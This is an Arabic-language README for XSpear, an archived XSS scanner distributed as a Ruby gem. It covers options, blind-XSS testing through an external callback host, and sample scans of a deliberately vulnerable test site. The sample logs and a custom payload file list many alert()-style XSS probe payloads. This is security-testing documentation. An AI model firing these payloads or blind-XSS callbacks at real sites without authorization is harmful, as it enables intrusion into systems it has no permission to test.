XSpear

XSpear هو ماسح ضوئي لـ XSS مبني على ruby gems

[!IMPORTANT] مستودع XSpear مؤرشف

تم أرشفة هذا المستودع وهو الآن للقراءة فقط.
لم يعد XSpear قيد الصيانة النشطة.

جرب Dalfox بدلاً من ذلك 🌙🦊

ماسح ضوئي XSS أسرع وأكثر قوة مع ميزات متقدمة.

→ https://github.com/hahwul/dalfox

الميزات الرئيسية

• فحص XSS يعتمد على مطابقة الأنماط
• اكتشاف أحداث alert confirm prompt على المتصفح بدون واجهة رسومية (باستخدام Selenium)
• اختبار الطلب/الاستجابة لتجاوز حماية XSS والمعلمات المنعكسة (أو جميع المعلمات)
  
  • المعلمات المنعكسة
  • جميع المعلمات (لـ blind xss، أو أي شيء)
  • اختبار مُرشّح لـ معالج الأحداث وسم HTML حرف خاص كود مفيد
  • اختبار حمولة مخصصة لك أنت فقط!
• اختبار Blind XSS (باستخدام XSS Hunter، ezXSS، HBXSS، إلخ. كل اختبار أعمى قائم على عنوان URL...)
• تحليل ديناميكي/ثابت
  • العثور على نمط خطأ SQL
  • تحليل رؤوس الأمان (CSP HSTS X-frame-options، XSS-protection إلخ.)
  • تحليل الرؤوس الأخرى (إصدار الخادم، نوع المحتوى، إلخ.)
  • اختبار XSS لمسار URI
  • اختبار تحليل المعلمات فقط (وضع بدون XSS)
• المسح من ملف Raw (Burp suite، ZAP Request)

التثبيت

قم بتثبيته بنفسك كالتالي:

$ gem install XSpear

أو قم بتثبيته بنفسك كالتالي (ملف محلي / تنزيل الأحدث ):

$ gem install XSpear-{version}.gem

أضف هذا السطر إلى ملف Gemfile الخاص بتطبيقك:```ruby gem 'XSpear'

ثم قم بتنفيذ:

    $ bundle

### جيمات التبعية
`colorize` `selenium-webdriver` `terminal-table` `progress_bar`<br>
إذا قمت بتكوينه للتثبيت تلقائيًا في مكتبة الجيم، ولكنه يتصرف بشكل غير طبيعي، فقم بتثبيته باستخدام الأمر التالي.```
$ gem install colorize
$ gem install selenium-webdriver
$ gem install terminal-table
$ gem install progress_bar

الاستخدام عبر سطر الأوامر```

Usage: xspear -u [target] -[options] [value] [ e.g ] $ xspear -u 'https://www.hahwul.com/?q=123' --cookie='role=admin' -v 1 -a $ xspear -u 'http://testphp.vulnweb.com/listproducts.php?cat=123' -v 2 $ xspear -u 'http://testphp.vulnweb.com/listproducts.php?cat=123' -v 0 -o json

[ Options ] -u, --url=target_URL [required] Target Url -d, --data=POST Body [optional] POST Method Body data -a, --test-all-params [optional] test to all params(include not reflected) --no-xss [optional] no testing xss, only parameters analysis --headers=HEADERS [optional] Add HTTP Headers --cookie=COOKIE [optional] Add Cookie --custom-payload=FILENAME [optional] Load custom payload json file --raw=FILENAME [optional] Load raw file(e.g raw_sample.txt) -p, --param=PARAM [optional] Test paramters -b, --BLIND=URL [optional] Add vector of Blind XSS + with XSS Hunter, ezXSS, HBXSS, etc... + e.g : -b https://hahwul.xss.ht -t, --threads=NUMBER [optional] thread , default: 10 -o, --output=FORMAT [optional] Output format (cli , json) -c, --config=FILENAME [optional] Using config.json -v, --verbose=0~3 [optional] Show log depth + v=0 : quite mode(only result) + v=1 : show scanning status(default) + v=2 : show scanning logs + v=3 : show detail log(req/res) -h, --help Prints this help --version Show XSpear version --update Show how to update

### أنواع النتائج
- (I)NFO: الحصول على معلومات ( مثل خطأ SQL ، قاعدة مرشحة، معلمات منعكسة، إلخ..)
- (V)UNL: XSS ضعيف، تم التحقق من alert/prompt/confirm باستخدام Selenium
- (L)OW: مشكلة منخفضة المستوى
- (M)EDIUM: مشكلة متوسطة المستوى
- (H)IGH: مشكلة عالية المستوى

### Verbose Mode
**[0] وضع هادئ(يعرض النتيجة فقط)**```
$ xspear -u "http://testphp.vulnweb.com/listproducts.php?cat=123" -v 0
you see report

[1] إظهار شريط التقدم (افتراضي)``` $ xspear -u "http://testphp.vulnweb.com/listproducts.php?cat=123" -v 1 [] analysis request.. [] used test-reflected-params mode(default) [] creating a test query [for reflected 2 param + blind XSS ] [] test query generation is complete. [249 query] [*] starting XSS Scanning. [10 threads]

[#######################################] [249/249] [100.00%] [01:05] [00:00] [ 3.83/s] ... you see report

**[2] عرض سجلات الفحص**```
$ xspear -u "http://testphp.vulnweb.com/listproducts.php?cat=123" -v 2
[*] analysis request..
[I] [22:42:41] [200/OK] [param: cat][Found SQL Error Pattern]
[-] [22:42:41] [200/OK] 'STATIC' not reflected
[-] [22:42:41] [200/OK] 'cat' not reflected <script>alert(45)</script>
[I] [22:42:41] [200/OK] reflected rEfe6[param: cat][reflected parameter]
[*] used test-reflected-params mode(default)
[*] creating a test query [for reflected 2 param + blind XSS ]
[*] test query generation is complete. [249 query]
[*] starting XSS Scanning. [10 threads]
[I] [22:42:43] [200/OK] reflected onhwul=64[param: cat][reflected EHon{any} pattern]
[-] [22:42:54] [200/OK] 'cat' not reflected 
[-] [22:42:54] [200/OK] 'cat' not reflected <svg/onload=alert(45)>
[H] [22:42:54] [200/OK] reflected <script>alert(45)</script>[param: cat][reflected XSS Code]
[V] [22:42:59] [200/OK] found alert/prompt/confirm (45) in selenium!! '"><svg/onload=alert(45)>[param: cat][triggered <svg/onload=alert(45)>]
...
you see report

[3] عرض سجلات تفاصيل المسح``` $ xspear -u "http://testphp.vulnweb.com/listproducts.php?cat=123" -v 3 [] analysis request.. [-] [22:56:21] [200/OK] http://testphp.vulnweb.com/listproducts.php?cat=123 in url [ Request ] {"accept-encoding"=>["gzip;q=1.0,deflate;q=0.6,identity;q=0.3"], "accept"=>["/"], "user-agent"=>["Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0"], "connection"=>["keep-alive"], "host"=>["testphp.vulnweb.com"]} [ Response ] {"server"=>["nginx/1.4.1"], "date"=>["Sun, 29 Dec 2019 13:53:23 GMT"], "content-type"=>["text/html"], "transfer-encoding"=>["chunked"], "connection"=>["keep-alive"], "x-powered-by"=>["PHP/5.3.10-1~lucid+2uwsgi2"]} [-] [22:56:21] [200/OK] 'STATIC' not reflected [-] [22:56:21] [200/OK] cat=123rEfe6 in url ... [] used test-reflected-params mode(default) [] creating a test query [for reflected 2 param + blind XSS ] [] test query generation is complete. [249 query] [] starting XSS Scanning. [10 threads] ... [ Request ] {"accept-encoding"=>["gzip;q=1.0,deflate;q=0.6,identity;q=0.3"], "accept"=>["/*"], "user-agent"=>["Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0"], "connection"=>["keep-alive"], "host"=>["testphp.vulnweb.com"]} [ Response ] {"server"=>["nginx/1.4.1"], "date"=>["Sun, 29 Dec 2019 13:54:36 GMT"], "content-type"=>["text/html"], "transfer-encoding"=>["chunked"], "connection"=>["keep-alive"], "x-powered-by"=>["PHP/5.3.10-1~lucid+2uwsgi2"]} [H] [22:57:33] [200/OK] reflected [param: cat][reflected onfocus XSS Code] ... you see report

### حالة بحالة
**مسح XSS**```
$ xspear -u "http://testphp.vulnweb.com/search.php?test=query" -d "searchFor=yy"

إخراج JSON فقط``` $ xspear -u "http://testphp.vulnweb.com/search.php?test=query" -d "searchFor=yy" -o json -v 0

**تعيين خيط المسح**```
$ xspear -u "http://testphp.vulnweb.com/search.php?test=query" -t 30

اختبار في المعلمات المحددة``` $ xspear -u "http://testphp.vulnweb.com/search.php?test=query&cat=123&ppl=1fhhahwul" -p cat,test

**اختبار في جميع المعلمات**<br>
(يتم اختبار هذا الخيار مع أو بدون انعكاس.)```
$ xspear -u "http://testphp.vulnweb.com/search.php?test=query&cat=123&ppl=1fhhahwul" -a

تحليل المعلمات فقط للاختبار (المعروف بوضع no-xss)
``` $ xspear -u "http://testphp.vulnweb.com/search.php?test=query&cat=123&ppl=1fhhahwul" --no-xss

**اختبار blind xss (all params)**<br>
(يجب استخدامه قدر الإمكان لأن Blind XSS في كل مكان)<br>```
$ xspear -u "http://testphp.vulnweb.com/search.php?test=query" -b "https://hahwul.xss.ht" -a

# Set your blind xss host. <-b options>

اختبار الحمولة المخصصة
``` $ xspear -u "http://testphp.vulnweb.com/listproducts.php?cat=123" --custom-payload=custom_payload.json

في ملف custom_payload.json```json
[
  {
    "payload":"<svg/onload=alert(1)>",
    "callback":"P1",
    "descript":"blahblah~"
  },
  {
    "payload":"<svg/onload=alert(1)>",
    "callback":"P2",
    "descript":"blahblah~"
  },
  {
    "payload":"<>",
    "callback":"P1",
    "descript":"blahblah~"
  }
]

لـ Pipeline
``` $ xspear -u {target} -b "your-blind-xss-host" -a -v 0 -o json

-u : target

-b : testing blind xss

-a : test all params(test to not reflected param)

-v : verbose, not showing logs at value 1.

-o : output optios, json!

بيانات نتيجة JSON```
{
    "starttime": "2019-12-25 00:02:58 +0900",
    "endtime": "2019-12-25 00:03:31 +0900",
    "issue_count": 25,
    "issue_list": [{
        "id": 0,
        "type": "INFO",
        "issue": "DYNAMIC ANALYSIS",
        "method": "GET",
        "param": "cat",
        "payload": "XsPeaR\"",
        "description": "Found SQL Error Pattern"
    }, {
        "id": 1,
        "type": "INFO",
        "issue": "STATIC ANALYSIS",
        "method": "GET",
        "param": "-",
        "payload": "<original query>",
        "description": "Found Server: nginx/1.4.1"
    }, {
        "id": 2,
        "type": "INFO",
        "issue": "STATIC ANALYSIS",
        "method": "GET",
        "param": "-",
        "payload": "<original query>",
        "description": "Not set HSTS"
    }, {
        "id": 3,
        "type": "INFO",
        "issue": "STATIC ANALYSIS",
        "method": "GET",
        "param": "-",
        "payload": "<original query>",
        "description": "Content-Type: text/html"
    }, {
        "id": 4,
        "type": "LOW",
        "issue": "STATIC ANALYSIS",
        "method": "GET",
        "param": "-",
        "payload": "<original query>",
        "description": "Not Set X-Frame-Options"
    }, {
        "id": 5,
        "type": "MIDUM",
        "issue": "STATIC ANALYSIS",
        "method": "GET",
        "param": "-",
        "payload": "<original query>",
        "description": "Not Set CSP"
    }, {
        "id": 6,
        "type": "INFO",
        "issue": "REFLECTED",
        "method": "GET",
        "param": "cat",
        "payload": "rEfe6",
        "description": "reflected parameter"
    }, {
        "id": 7,
        "type": "INFO",
        "issue": "FILERD RULE",
        "method": "GET",
        "param": "cat",
        "payload": "onhwul=64",
        "description": "not filtered event handler on{any} pattern"
    }
....
, {
        "id": 17,
        "type": "HIGH",
        "issue": "XSS",
        "method": "GET",
        "param": "cat",
        "payload": "<audio src onloadstart=alert(45)>",
        "description": "reflected HTML5 XSS Code"
    }, {
        "id": 18,
        "type": "HIGH",
        "issue": "XSS",
        "method": "GET",
        "param": "cat",
        "payload": "<keygen autofocus onfocus=alert(45)>",
        "description": "reflected onfocus XSS Code"
 ....
    }, {
        "id": 24,
        "type": "HIGH",
        "issue": "XSS",
        "method": "GET",
        "param": "cat",
        "payload": "<marquee onstart=alert(45)>",
        "description": "triggered <marquee onstart=alert(45)>"
    }]
}

(العناصر المميزة بـ triggered هي في الواقع حمولات تعمل في المتصفح.)

XSpear على Burpsuite
https://github.com/hahwul/XSpear/tree/master/forBurp

إلخ...

سجل عينة

فحص XSS``` xspear -u "http://testphp.vulnweb.com/listproducts.php?cat=z" ) ( ( /( )\ ) )())(()/( ( ) ( (()\ /())` ) ))\ ( /( )( __(()()) /(/( /(())())(()
\ / // |(()\ ()) (() (()

< __ | '_ )/ -_)/ _ || '_| /_/\_\|___/| .__/ \___|\__,_||_| /> |_| \ /< {\\\\\\\\\\\\\BYHAHWUL\\\\\\\\\\\(0):::<======================- / \< \> [ v1.4.0 ] [*] analysis request.. [*] used test-reflected-params mode(default) [*] creating a test query [for reflected 1 param ] [*] test query generation is complete. [251 query] [*] starting XSS Scanning. [10 threads] ...snip... [*] finish scan. the report is being generated.. +----+-------+------------------+--------+-------+----------------------------------------+-----------------------------------------------+ | [ XSpear report ] | | http://testphp.vulnweb.com/listproducts.php?cat=123&zfdfasdf=124fff... (snip) | | 2019-08-14 23:50:34 +0900 ~ 2019-08-14 23:51:07 +0900 Found 24 issues. | +----+-------+------------------+--------+-------+----------------------------------------+-----------------------------------------------+ | NO | TYPE | ISSUE | METHOD | PARAM | PAYLOAD | DESCRIPTION | +----+-------+------------------+--------+-------+----------------------------------------+-----------------------------------------------+ | 0 | INFO | STATIC ANALYSIS | GET | - | <original query> | Found Server: nginx/1.4.1 | | 1 | INFO | STATIC ANALYSIS | GET | - | <original query> | Not set HSTS | | 2 | INFO | STATIC ANALYSIS | GET | - | <original query> | Content-Type: text/html | | 3 | LOW | STATIC ANALYSIS | GET | - | <original query> | Not Set X-Frame-Options | | 4 | MIDUM | STATIC ANALYSIS | GET | - | <original query> | Not Set CSP | | 5 | INFO | DYNAMIC ANALYSIS | GET | cat | XsPeaR" | Found SQL Error Pattern | | 6 | INFO | REFLECTED | GET | cat | rEfe6 | reflected parameter | | 7 | INFO | FILERD RULE | GET | cat | onhwul=64 | not filtered event handler on{any} pattern | | 8 | HIGH | XSS | GET | cat | <script>alert(45)</script> | reflected XSS Code | | 9 | HIGH | XSS | GET | cat | <marquee onstart=alert(45)> | reflected HTML5 XSS Code | | 10 | HIGH | XSS | GET | cat | <details/open/ontoggle="alert45`"> | reflected HTML5 XSS Code | | 11 | HIGH | XSS | GET | cat | | reflected onfocus XSS Code | | 12 | HIGH | XSS | GET | cat | | reflected onfocus XSS Code | | 13 | HIGH | XSS | GET | cat | | reflected onfocus XSS Code | | 14 | HIGH | XSS | GET | cat | <audio src onloadstart=alert(45)> | reflected HTML5 XSS Code | | 15 | HIGH | XSS | GET | cat | <meter onmouseover=alert(45)>0 | reflected HTML5 XSS Code | | 16 | HIGH | XSS | GET | cat | "> | reflected XSS Code | | 17 | HIGH | XSS | GET | cat | <video controls/poster/onerror=alert(45)> | reflected HTML5 XSS Code | | 18 | HIGH | XSS | GET | cat | | reflected onfocus XSS Code | | 19 | VULN | XSS | GET | cat | alert(45) | triggered | | 20 | HIGH | XSS | GET | cat | | triggered | | 21 | HIGH | XSS | GET | cat | <details/open/ontoggle="alert(45)"> | triggered <details/open/ontoggle="alert(45)"> | | 22 | HIGH | XSS | GET | cat | | triggered | | 23 | VULN | XSS | GET | cat | '"><svg/onload=alert(45)> | triggered <svg/onload=alert(45)> | +----+-------+------------------+--------+-------+----------------------------------------+-----------------------------------------------+ < Available Objects > [cat] param